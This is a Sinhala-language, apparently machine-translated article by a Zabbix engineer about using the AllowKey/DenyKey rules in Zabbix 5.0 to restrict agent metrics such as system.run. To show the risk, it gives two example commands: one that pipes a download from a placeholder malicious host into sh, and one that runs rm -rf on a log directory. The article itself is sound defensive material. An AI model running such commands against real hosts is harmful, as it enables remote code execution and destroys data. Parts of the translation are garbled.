නියෝජිත පාර්ශ්ව ප්රමිතික සඳහා අසාදු ලේඛන සහ සුදු ලැයිස්තු සහාය
ටිකොන් උස්කොව්, ඒකාබද්ධ ඉංජිනේරු, Zabbix
දත්ත ආරක්ෂණ ගැටළු
Zabbix 5.0 හි නව විශේෂාංගයක් ඇත, එය Zabbix Agent භාවිතා කරන පද්ධතිවල ආරක්ෂාව වැඩි දියුණු කිරීමට සහ පැරණි පරාමිතිය ප්රතිස්ථාපනය කිරීමට ඉඩ සලසයි. EnableRemoteCommands.
නියෝජිතයෙකුට අනතුරුදායක විය හැකි ක්රියාවන් විශාල ප්රමාණයක් සිදු කළ හැකි බව කාරක මත පදනම් වූ පද්ධතිවල ආරක්ෂාවෙහි වැඩිදියුණු කිරීම් පැන නගී.
- නියෝජිතයාට වින්යාස ගොනු, ලොග් ගොනු, මුරපද ගොනු හෝ වෙනත් ඕනෑම ගොනු වලින් රහසිගත හෝ අනතුරුදායක තොරතුරු ඇතුළු ඕනෑම තොරතුරක් පාහේ රැස් කළ හැක.
උදාහරණයක් ලෙස, zabbix_get උපයෝගීතාව භාවිතයෙන් ඔබට පරිශීලකයින්ගේ ලැයිස්තුවක්, ඔවුන්ගේ මුල් නාමාවලි, මුරපද ගොනු ආදිය වෙත ප්රවේශ විය හැක.
Zabbix_get උපයෝගීතාව භාවිතයෙන් දත්ත වෙත ප්රවේශ වීම
සටහන. දත්ත ලබා ගත හැක්කේ නියෝජිතයාට අනුරූප ගොනුවේ කියවීමේ අවසර තිබේ නම් පමණි. නමුත්, උදාහරණයක් ලෙස, ගොනුව /etc/passwd/ සියලුම පරිශීලකයින්ට කියවිය හැකිය.
- නියෝජිතයාට අනතුරුදායක විධාන ද ක්රියාත්මක කළ හැක. උදාහරණයක් ලෙස, යතුර *system.run[]** ඔබට ජාල නෝඩ් මත ඕනෑම දුරස්ථ විධානයක් ක්රියාත්මක කිරීමට ඉඩ සලසයි, Zabbix වෙබ් අතුරු මුහුණතෙන් ක්රියාත්මක වන ස්ක්රිප්ට් ඇතුළුව නියෝජිත පැත්තේ විධාන ක්රියාත්මක කරයි.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linux හි, නියෝජිතයා මූල වරප්රසාද නොමැතිව පෙරනිමියෙන් ක්රියාත්මක වන අතර Windows හි එය පද්ධතියක් ලෙස ක්රියාත්මක වන අතර ගොනු පද්ධතියට අසීමිත ප්රවේශයක් ඇත. ඒ අනුව, ස්ථාපනය කිරීමෙන් පසු Zabbix නියෝජිත පරාමිතීන් සඳහා කිසිදු වෙනසක් සිදු නොකළහොත්, නියෝජිතයාට රෙජිස්ට්රිය, ගොනු පද්ධතිය වෙත ප්රවේශය ඇති අතර WMI විමසුම් ක්රියාත්මක කළ හැකිය.
පෙර අනුවාද වල පරාමිතිය EnableRemoteCommands=0 යතුර සමඟ ප්රමිතික අක්රිය කිරීමට පමණක් අවසර ඇත *system.run[]** සහ වෙබ් අතුරු මුහුණතෙන් ස්ක්රිප්ට් ධාවනය කරයි, නමුත් තනි ගොනු වෙත ප්රවේශය සීමා කිරීමට, නියෝජිතයා සමඟ ස්ථාපනය කර ඇති තනි යතුරුවලට ඉඩ දීමට හෝ අක්රිය කිරීමට හෝ තනි පරාමිතීන් භාවිතය සීමා කිරීමට ක්රමයක් නොතිබුණි.
Zabbix හි පෙර අනුවාද වල EnableRemoteCommand පරාමිතිය භාවිතා කිරීම
AllowKey/DenyKey
Zabbix 5.0 නියෝජිත පාර්ශ්වයේ ප්රමිතිකවලට ඉඩ දීම සහ ප්රතික්ෂේප කිරීම සඳහා සුදු ලැයිස්තු සහ අසාදු ලේඛන ලබා දීමෙන් එවැනි අනවසර ප්රවේශයෙන් ආරක්ෂා වීමට උපකාරී වේ.
Zabbix 5.0 හි * ඇතුළු සියලුම යතුරුsystem.run[]** සක්රීය කර ඇති අතර නව නියෝජිත වින්යාස විකල්ප දෙකක් එකතු කර ඇත:
AllowKey= - අවසර ලත් චෙක්පත්;
DenyKey= - තහනම් චෙක්පත්;
metacharacters (*) භාවිතා කරන පරාමිති සහිත ප්රධාන නාම රටාවක් කොහිද?
AllowKey සහ DenyKey යතුරු ඔබට නිශ්චිත රටාවක් මත පදනම්ව තනි ප්රමිතිකවලට ඉඩ දීමට හෝ ප්රතික්ෂේප කිරීමට ඉඩ සලසයි. අනෙකුත් වින්යාස පරාමිති මෙන් නොව, AllowKey/DenyKey පරාමිති ගණන සීමා නොවේ. චෙක්පත් - ක්රියාත්මක කළ හැකි යතුරු, ඒවා ලියා ඇති අනුපිළිවෙල ඉතා වැදගත් කාර්යභාරයක් ඉටු කරන ගසක් නිර්මාණය කිරීමෙන් පද්ධතිය තුළ නියෝජිතයාට කළ හැකි දේ පැහැදිලිව නිර්වචනය කිරීමට මෙය ඔබට ඉඩ සලසයි.
නීති අනුපිළිවෙල
වින්යාස ගොනුවට ඇතුළත් කර ඇති අනුපිළිවෙල අනුව නීති පරීක්ෂා කරනු ලැබේ. පළමු තරඟයට පෙර රීති වලට අනුව යතුර පරීක්ෂා කරනු ලබන අතර, දත්ත මූලද්රව්යයේ යතුර රටාවට ගැළපෙන විගසම එය අවසර හෝ ප්රතික්ෂේප කරනු ලැබේ. මෙයින් පසු, රීති පරීක්ෂා කිරීම නතර වන අතර ඉතිරි යතුරු නොසලකා හරිනු ලැබේ.
එබැවින්, මූලද්රව්යයක් ඉඩ දීම සහ ප්රතික්ෂේප කිරීමේ රීතිය යන දෙකටම ගැලපේ නම්, ප්රතිඵලය රඳා පවතින්නේ වින්යාස ගොනුවේ කුමන රීතියද යන්න මතය.
එකම රටාවක් සහ යතුරක් සහිත විවිධ නීති 2ක් vfs.file.size[/tmp/file]
AllowKey/DenyKey යතුරු භාවිතා කිරීමේ අනුපිළිවෙල:
- නියම නීති,
- පොදු නීති,
- තහනම් රීතිය.
උදාහරණයක් ලෙස, ඔබට යම් ෆෝල්ඩරයක ගොනු වෙත ප්රවේශය අවශ්ය නම්, ඔබ ප්රථමයෙන් ඒවාට ප්රවේශ වීමට ඉඩ දිය යුතු අතර, ස්ථාපිත අවසරයන් තුළට නොවැටෙන අනෙක් සියල්ල ප්රතික්ෂේප කරන්න. ප්රතික්ෂේප කිරීමේ රීතිය මුලින්ම භාවිතා කරන්නේ නම්, ෆෝල්ඩරය වෙත ප්රවේශය ප්රතික්ෂේප කරනු ලැබේ.
නිවැරදි අනුපිළිවෙල
ඔබට උපයෝගිතා 2ක් * හරහා ක්රියාත්මක වීමට ඉඩ දීමට අවශ්ය නම්system.run[]**, සහ ප්රතික්ෂේප කිරීමේ රීතිය පළමුව සඳහන් කරනු ඇත, උපයෝගිතා දියත් නොකරනු ඇත, මන්ද පළමු රටාව සෑම විටම ඕනෑම යතුරකට ගැලපෙන අතර පසුව නීති නොසලකා හරිනු ඇත.
වැරදි අනුපිළිවෙල
රටා
මූලික නීති
රටා යනු වයිල්ඩ්කාඩ් සහිත ප්රකාශනයකි. metacharacter (*) නිශ්චිත ස්ථානයක ඕනෑම අක්ෂර ගණනකට ගැලපේ. Metacharacters ප්රධාන නාමයේ සහ පරාමිති දෙකෙහිම භාවිතා කළ හැක. උදාහරණයක් ලෙස, ඔබට පෙළ සමඟ පළමු පරාමිතිය දැඩි ලෙස අර්ථ දැක්විය හැක, සහ පසුව එන එක Wildcard ලෙස සඳහන් කරන්න.
පරාමිති හතරැස් වරහන් [] තුළ අමුණා තිබිය යුතුය.
system.run[*
- වැරදියිvfs.file*.txt]
- වැරදියිvfs.file.*[*]
- හරි
Wildcard භාවිතා කිරීමේ උදාහරණ.
- ප්රධාන නම සහ පරාමිතිය තුළ. මෙම අවස්ථාවෙහිදී, යතුර පරාමිතියක් අඩංගු නොවන සමාන යතුරකට අනුරූප නොවේ, මන්ද රටාවේ අපි යතුරු නාමයේ නිශ්චිත අවසානයක් සහ යම් පරාමිති කට්ටලයක් ලබා ගැනීමට අවශ්ය බව පෙන්වා දී ඇත.
- රටාව හතරැස් වරහන් භාවිතා නොකරන්නේ නම්, රටාව පරාමිති අඩංගු නොවන සියලුම යතුරු වලට ඉඩ දෙන අතර නිශ්චිත පරාමිතිය අඩංගු සියලුම යතුරු ප්රතික්ෂේප කරයි.
- යතුර සම්පුර්ණයෙන් ලියා ඇති අතර පරාමිති වයිල්ඩ්කාඩ් ලෙස සඳහන් කර ඇත්නම්, එය ඕනෑම සමාන යතුරක් ඕනෑම පරාමිතියක් සමඟ ගැළපෙන අතර වර්ග වරහන් නොමැතිව යතුර සමඟ නොගැලපේ, එනම් එය අවසර හෝ ප්රතික්ෂේප කරනු ලැබේ.
පරාමිතීන් පිරවීම සඳහා නීති.
- පරාමිති සහිත යතුරක් භාවිතා කිරීමට අදහස් කරන්නේ නම්, පරාමිති මානකරන ගොනුවේ සඳහන් කළ යුතුය. පරාමිති metacharacter ලෙස සඳහන් කළ යුතුය. ඕනෑම ගොනුවකට ප්රවේශය ප්රවේශමෙන් ප්රතික්ෂේප කිරීම අවශ්ය වන අතර විවිධ අක්ෂර වින්යාසයන් යටතේ මෙට්රික් මඟින් සැපයිය හැකි තොරතුරු මොනවාද යන්න සැලකිල්ලට ගත යුතුය - පරාමිති සහිතව සහ රහිතව.
පරාමිතීන් සහිත යතුරු ලිවීමේ විශේෂාංග
- යතුරක් පරාමිති සමඟ සඳහන් කර ඇතත්, පරාමිති විකල්ප නම් සහ මෙටාචාක්ටරයක් ලෙස දක්වා තිබේ නම්, පරාමිති නොමැති යතුරක් විසඳනු ලැබේ. උදාහරණයක් ලෙස, ඔබට CPU මත පැටවීම පිළිබඳ තොරතුරු ලැබීම අක්රිය කිරීමට අවශ්ය නම් සහ system.cpu.load[*] යතුර අක්රිය කළ යුතු බව සඳහන් කළහොත්, පරාමිති නොමැති යතුර සාමාන්ය භාර අගය ලබා දෙන බව අමතක නොකරන්න.
පරාමිතීන් පිරවීම සඳහා නීති
සටහන්
ගැලපුම්
- සමහර රීති පරිශීලකයාට වෙනස් කළ නොහැක, උදාහරණයක් ලෙස, සොයාගැනීම් රීති හෝ නියෝජිත ස්වයං-ලියාපදිංච් නීති. AllowKey/DenyKey රීති පහත පරාමිතිවලට බලපාන්නේ නැත:
- සත්කාරක නාමය අයිතමය
- HostMetadataItem
- HostInterfaceItem
සටහන. පරිපාලකයෙකු යතුරක් අක්රිය කළහොත්, විමසූ විට, මෙට්රික් හෝ යතුර ' වර්ගයට වැටෙන්නේ ඇයිද යන්න පිළිබඳ තොරතුරු Zabbix සපයන්නේ නැත.සහාය නොදක්වයි'. දුරස්ථ විධාන ක්රියාත්මක කිරීමේ තහනම් කිරීම් පිළිබඳ තොරතුරු නියෝජිත ලොග් ලිපිගොනු වල ද ප්රදර්ශනය නොවේ. මෙය ආරක්ෂක හේතූන් මත වේ, නමුත් යම් හේතුවක් නිසා ප්රමිතික සහය නොදක්වන කාණ්ඩයකට වැටේ නම් නිදොස්කරණය සංකීර්ණ කළ හැක.
- බාහිර වින්යාස ගොනු සම්බන්ධ කිරීම සඳහා ඔබ නිශ්චිත අනුපිළිවෙලක් මත විශ්වාසය නොතැබිය යුතුය (උදාහරණයක් ලෙස, අකාරාදී පිළිවෙලට).
විධාන රේඛා උපයෝගිතා
රීති සැකසීමෙන් පසු, ඔබ සියල්ල නිවැරදිව වින්යාස කර ඇති බවට වග බලා ගත යුතුය.
ඔබට විකල්ප තුනෙන් එකක් භාවිතා කළ හැකිය:
- Zabbix වෙත මෙට්රික් එකක් එක් කරන්න.
- සමඟ පරීක්ෂා කරන්න zabbix_agentd. විකල්පය සමඟ Zabbix නියෝජිතයා -මුද්රණය (-p) වින්යාසය මඟින් ඉඩ නොදෙන යතුරු හැර (පෙරනිමියෙන් අවසර දී ඇති) යතුරු පෙන්වයි. සහ විකල්පය සමඟ -test (-t) මක්නිසාද තහනම් යතුරක් නැවත පැමිණෙනු ඇතසහාය නොදක්වන අයිතම යතුර'.
- සමඟ පරීක්ෂා කරන්න zabbix_get. උපයෝගිතා zabbix_get විකල්පය සමඟ -k ආපසු එනු ඇත'ZBX_NOTSUPPORTED: නොදන්නා මෙට්රික්'.
ඉඩ දෙන්න හෝ ප්රතික්ෂේප කරන්න
ඔබට ගොනුවකට ප්රවේශය ප්රතික්ෂේප කර සත්යාපනය කළ හැකිය, උදාහරණයක් ලෙස, උපයෝගීතාව භාවිතයෙන් zabbix_getගොනුවට ප්රවේශය ප්රතික්ෂේප කර ඇති බව.
**
සටහන. පරාමිතියෙහි උපුටා දැක්වීම් නොසලකා හරිනු ලැබේ.
මෙම අවස්ථාවේදී, එවැනි ගොනුවකට ප්රවේශය වෙනත් මාර්ගයක් හරහා අවසර දෙනු ලැබේ. උදාහරණයක් ලෙස, symlink එය වෙත යොමු කරයි නම්.
නිශ්චිත නීති රීති යෙදීම සඳහා විවිධ විකල්ප පරීක්ෂා කිරීම රෙකමදාරු කරනු ලබන අතර, තහනම් කිරීම් මඟ හැරීමේ හැකියාවන් ද සැලකිල්ලට ගනී.
ප්රශ්න සහ පිළිතුරු
ඔබේ ප්රශ්නය. නීති රීති, අවසර සහ තහනම් විස්තර කිරීමට තමන්ගේම භාෂාවක් සහිත එවැනි සංකීර්ණ රටාවක් තෝරා ගත්තේ ඇයි? උදාහරණයක් ලෙස, Zabbix භාවිතා කරන නිත්ය ප්රකාශන භාවිතා කිරීමට නොහැකි වූයේ මන්ද?
පිළිතුර. සාමාන්යයෙන් සිටින්නේ එක් නියෝජිතයෙකු පමණක් වන අතර එය ප්රමිතික විශාල සංඛ්යාවක් පරීක්ෂා කරන බැවින් මෙය regex කාර්ය සාධන ගැටළුවකි. Regex යනු තරමක් බර මෙහෙයුමක් වන අතර අපට මේ ආකාරයෙන් ප්රමිතික දහස් ගණනක් පරීක්ෂා කළ නොහැක. Wildcards - විශ්වීය, බහුලව භාවිතා වන සහ සරල විසඳුමක්.
ඔබේ ප්රශ්නය. ඇතුළත් ගොනු අකාරාදී පිළිවෙලට ඇතුළත් නොවේද?
පිළිතුර. මා දන්නා පරිදි, ඔබ විවිධ ලිපිගොනු හරහා නීති ව්යාප්ත කළහොත් නීති ක්රියාත්මක වන අනුපිළිවෙල අනාවැකි කීම පාහේ කළ නොහැක්කකි. සියලුම AllowKey/DenyKey රීති එක් ඇතුළත් ගොනුවකට එකතු කිරීමට මම නිර්දේශ කරමි, මන්ද ඒවා එකිනෙකා සමඟ අන්තර් ක්රියා කරන නිසා සහ මෙම ගොනුව ඇතුළු.
ඔබේ ප්රශ්නය. Zabbix 5.0 හි විකල්පය 'EnableRemoteCommands=' වින්යාස ගොනුවේ අස්ථානගත වී ඇති අතර AllowKey/DenyKey පමණක් තිබේද?
පිළිතුර. ඔව් ඒක නිවැරදියි.
Спасибо!
මූලාශ්රය: www.habr.com